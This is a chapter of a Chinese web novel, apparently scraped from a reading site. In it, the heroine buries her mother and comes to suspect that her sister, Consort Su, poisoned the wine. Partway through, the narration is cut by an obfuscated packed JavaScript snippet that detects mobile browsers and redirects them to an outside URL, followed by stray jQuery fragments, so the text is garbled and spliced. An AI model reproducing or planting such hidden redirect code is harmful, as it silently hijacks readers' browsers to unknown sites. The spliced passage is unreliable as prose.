122. 凶手

作品:《重生后与残疾权臣he了

    长鸢两世为人,虽早已经历过生离死别,但她还从未亲自料理过丧葬事宜,从前只见过太尉府左承风的葬礼礼仪,知道个一二,但并不精通。


    精通此等礼仪的父亲还未苏醒,可就算是苏醒了,长鸢料他有心无力,必定办理不好此事。


    于是乎,萧子新的到来犹如旱田降临甘露。


    他全程协理丧葬内外院大小事宜,请风水大师、拟邀宾客名单、对接丧葬队、又请大夫照看家中一干病员,还要兼顾她后院里事,日夜奔忙,本是耗气伤血的事,也不见他口里叫累,连一声抱怨都不曾有。


    待出殡当天,他又起了个大早,应邀一众亲眷并哀乐队、牛头马面队、抬棺队、送丧队,前后浩荡上千来人,奏哀乐、抛纸钱、一路护着出长安城。


    送葬行人犹似白龙往萧鹿山以北蜿蜒爬去。


    自他来后,苏长鸢就没有操过心,出殡这日,她亦失魂落魄,由旁人搀着前进,活脱脱像一只提线木偶,有人叫她摔瓦,她便摔瓦,有人叫她举幡,她便举幡,有人叫她哭,她便也跟着众人哭,行走坐立都像一个活死人。


    到了下葬小山坳处,长鸢立在树下,不时有人上前来安慰她,叫她节哀。


    嫂嫂的娘家人来了,谭桀音也来了。


    她有心无力应付别人,就是谭桀音站在面前,她都险些没有认出来。


    她现在是公主贴身侍卫,早已换上了鸦青色窄袖官服,前胸后背都以平头针刺的老虎纹,满身的干练利落,她头发也放了下来,梳成女子装束,左右两边都有细小的辫子垂在肩上,发髻上穿了一支银鹰簪子,虽说是女儿装束,但是依旧英姿勃勃,雅致秀妍。


    可惜苏长鸢暂且无心欣赏她的美貌,只是小声说:“桀音你来了。”


    公主侍卫需时刻守在公主身边,她想来是特意告了假才脱身来的。


    谭桀音见她气若游丝,神情恍惚,却也不知道说些什么,只是轻声唤她:“姑娘。”


    长鸢又轻声夸赞:“你这一身衣服挺好的,你升官啦?”


    谭桀音垂眸,似乎并不想提及升官发财一类的事。


    她上前扶起她,走到一处清幽地方,从怀里掏出一手绢盖在大石头上,让她坐下。


    苏长鸢丝毫没有注意,她自捧着膝盖坐下,忽然想到了什么:“桀音,那天你也在满月宴上对吧。”


    对呀,她怎么险些忘记了,陛下与长公主关系尚好,赵环再怎么不喜欢苏锦鹤,但是小皇子的满月宴她不会缺席。


    赵环在满月宴上,谭桀音必定也在!


    此时她精神一抖,目光灼灼望向她。


    谭桀音紧喝一口气,蛾眉低垂,暧了声:“是我不好,没有阻止夫人饮下那杯酒。”


    酒,原来是饮酒而亡,传出来却变成了食物,不过这些都不重要,她仿若抓住了救命稻草,轻轻牵着她的衣袖,但又不敢大声,唯恐周围来参加葬礼的人听见。


    “你知道谁害了母亲?”


    后宫的事不叫乱传,消息封锁得十分严密,就算知道了,也是不全面的。


    谭桀音在当场,亲眼所见,必定不会有所差池。


    她先瞥了一眼四周,见四下无人叨扰,才凑到她身旁:“那杯酒原本是皇后娘娘敬苏贵妃的,苏贵妃拿了酒,斟酌再三,借故自己刚生产完,身子尚未恢复,便把酒敬给了太后娘娘。太后娘娘瞥了一眼那酒,说到她头风正犯,不宜饮酒,便将那杯酒赏给了夫人,夫人一向性子软,面前又都是宫中贵人,她不敢拒绝,便将那酒一饮而尽,如此......才出了事。”


    “姑娘,是我不好,我本怀疑那酒有问题,但是却不敢出手阻拦。”


    说到这里,谭桀音万般自责。


    长鸢细细想了想她所说的,回头见她自责不已,先拍了拍她的手:“别什么事都往自己身上揽,不是你的错。”


    须臾想了一会儿,又道:“所以,那杯酒是皇后娘娘准备的。”


    谭桀音点点头:“千真万确。”


    苏长鸢心中存疑,不由问道:“那皇后娘娘如今是什么状况。”


    谭桀音道:“陛下听闻满月宴上出事,慌忙赶了过来,听闻苏贵妃以及其他几位妃嫔都指证是皇后害死了夫人,便下令将皇后禁足宫中。又命刑部查探真相,不久便在皇后宫中查出了有毒的云母石粉,这类石粉是罕见的毒药,连太医院都不曾有。”


    长鸢口中呢喃:“既是这样难得,那皇后又如何获得此毒。”


    谭桀音又说:“刑部顺杆往下查,找到了那石粉商人,商人自称买主是宫中“贵人”,帮皇后娘娘做事的,一经细查,发现那“贵人”确系皇后宫中宫女,现已畏罪自尽,。”


    这一切矛头都指向皇后。


    她便问道:“皇后娘娘,现在是被关起来了吗。”


    谭桀音点头:“皇后被打入了冷宫。”


    长鸢缓缓站起身来,举目远望、眉目紧锁,回忆方才的对话。


    脑子一团乱麻,没有丝毫头绪,忽然闪过道白光:“你方才说,那酒杯经了几个人的手,皇后、苏贵妃,太后?”


    她摇摇头:“太后并未接酒,是苏贵妃直接递给夫人的。”


    “那酒杯在苏贵妃手里停了多久?”


    “约莫半盏茶功夫,”谭桀音回忆道:“对了,她起先准备饮酒,还用袖子遮挡过......。”


    苏长鸢后脊发凉,瞳孔骤然放大,口中急道:“是了。”


    谭桀音也跟着一怔,猜到了什么:“你是说苏贵妃?”她难以置信:“可夫人不也是她的母亲。”


    苏长鸢鼻息轻叹,扯着唇苦笑:“因为是母亲,陛下才至于怀疑她。”


    想到此,心中又隐隐生起一丝绞痛,前世胡翠危害死母亲,她原本以为,赶走了胡翠危,母亲便能度过此劫难,没想到走了一个胡翠危,来了一个苏锦鹤。


    她下意识按住胸口,冷汗自身上冒出,浸湿了衣衫,风吹来时,叫她打了个寒战。


    谭桀音稳稳将她扶住,十分担忧望着她,又安慰着她。


    她摆摆手,示意自己没事,继而听见远处丧葬队又吹弹了起来,其声切切,其音哀凉。


    两人相视一看,知道是下葬前的仪式,便不再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765138|147669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多停留,往前行走,并入人群。


    萧子新在人堆里逡巡了一圈,见苏长鸢与谭桀音手搀着手走出来,他逶迤上前,到长鸢身旁停下:“夫人,我正找你。”


    苏长鸢轻抬启秋波:“我知道。”


    也不过多解释,两人便心有默契走到墓穴旁,左右两个小厮一人持了长长的铁锹,递给她与萧子新。


    两人各立东西,铲起地上泥沙,朝棺椁埋去。


    就像那日,两人一起埋葬麻雀那般,也将母亲埋葬。


    待墓碑立好,苏长鸢、萧子新、苏清潭、苏叙白一并拈香拜过,焚烧纸钱,奏过哀乐,又大哭了一场,这才算了事。


    众人各自有各自的事,都陆续撤下山去,山上仅剩下苏长鸢与萧子新二人。


    长鸢久久跪于坟墓旁,纤手抚摸石碑上凹凸的字迹,口里不断叹息。


    微风摇曳树梢,吹起沙沙泥土,带起一丝冷意,她似乎感觉到母亲也在望着她,劝她回去。


    可惜她看不见她,她们对面相望,却阴阳相隔。


    萧子新立于她身侧,见春风刺骨,天色将暗,便蹲下身来,双手落在她肩头:“长鸢,我们该回去了。”


    她微微一怔,才知旁侧还有个人,不觉心中一暖:“你还没有回去吗?”


    萧子新唇角微沉,自胸口沉下一口气:“我知道,你如今不愿跟我回府,只是眼下这个节骨眼,你母亲刚走,你父亲于你兄长已是自顾不暇,难道你要回去......。”


    添乱吗?萧子新喉间一梗,把欲要脱口而出的话咽了回去。


    自打母亲离世,长鸢一直住在苏府张罗府内外各事,萧子新也宿在苏府西厢房。这下苏府事务均已结束,他们该回太傅府了。她却一直跪在墓碑前,不愿意回府,萧子心想是以为她依旧要和离,却不知道她早已将和离一事抛于九霄云外,便知道他是误会了,解释道:“我不是那个意思。”


    他的脸近在咫尺,额头上渗出密密细汗,有些水珠拧成一股流下,洇湿他鬓角头发,苏长鸢自袖中掏出一截白绢,递到他眼前:“你额头上有汗,擦擦吧。”


    萧子新垂眸瞥了她手里白绢,顺手接过,轻轻沾着脸上汗液。


    “萧......子新,谢谢你这段时间一直帮我,若是没有你,我都知道如何处理母亲的丧事,也谢谢找来了郑大夫,帮父亲诊病,也谢谢......。”


    她本说着谢谢,却见萧子新原本就不怎么开心的脸,又暗沉了下去,他打断了她:“谢谢的话,不要说了。”


    苏长鸢不解:“为什么?”


    他自鼻腔里叹出气:“谢谢一词,太过见外,感觉你我非常陌生,并且,你一说完谢谢,是不是就有求于我。”


    她双肩一耸,呼吸屏住:“你怎么知道?”


    他鼻腔里哼出叹息:“我就知道......。”


    那句:“我就知道”像是给他自己说的,说完以后,他眼睛瞥向别处,不敢看她:“你只要跟我回府,我什么都答应你。”


    长鸢双手往前,轻握他的手腕,气息沉了沉:“我要进宫。”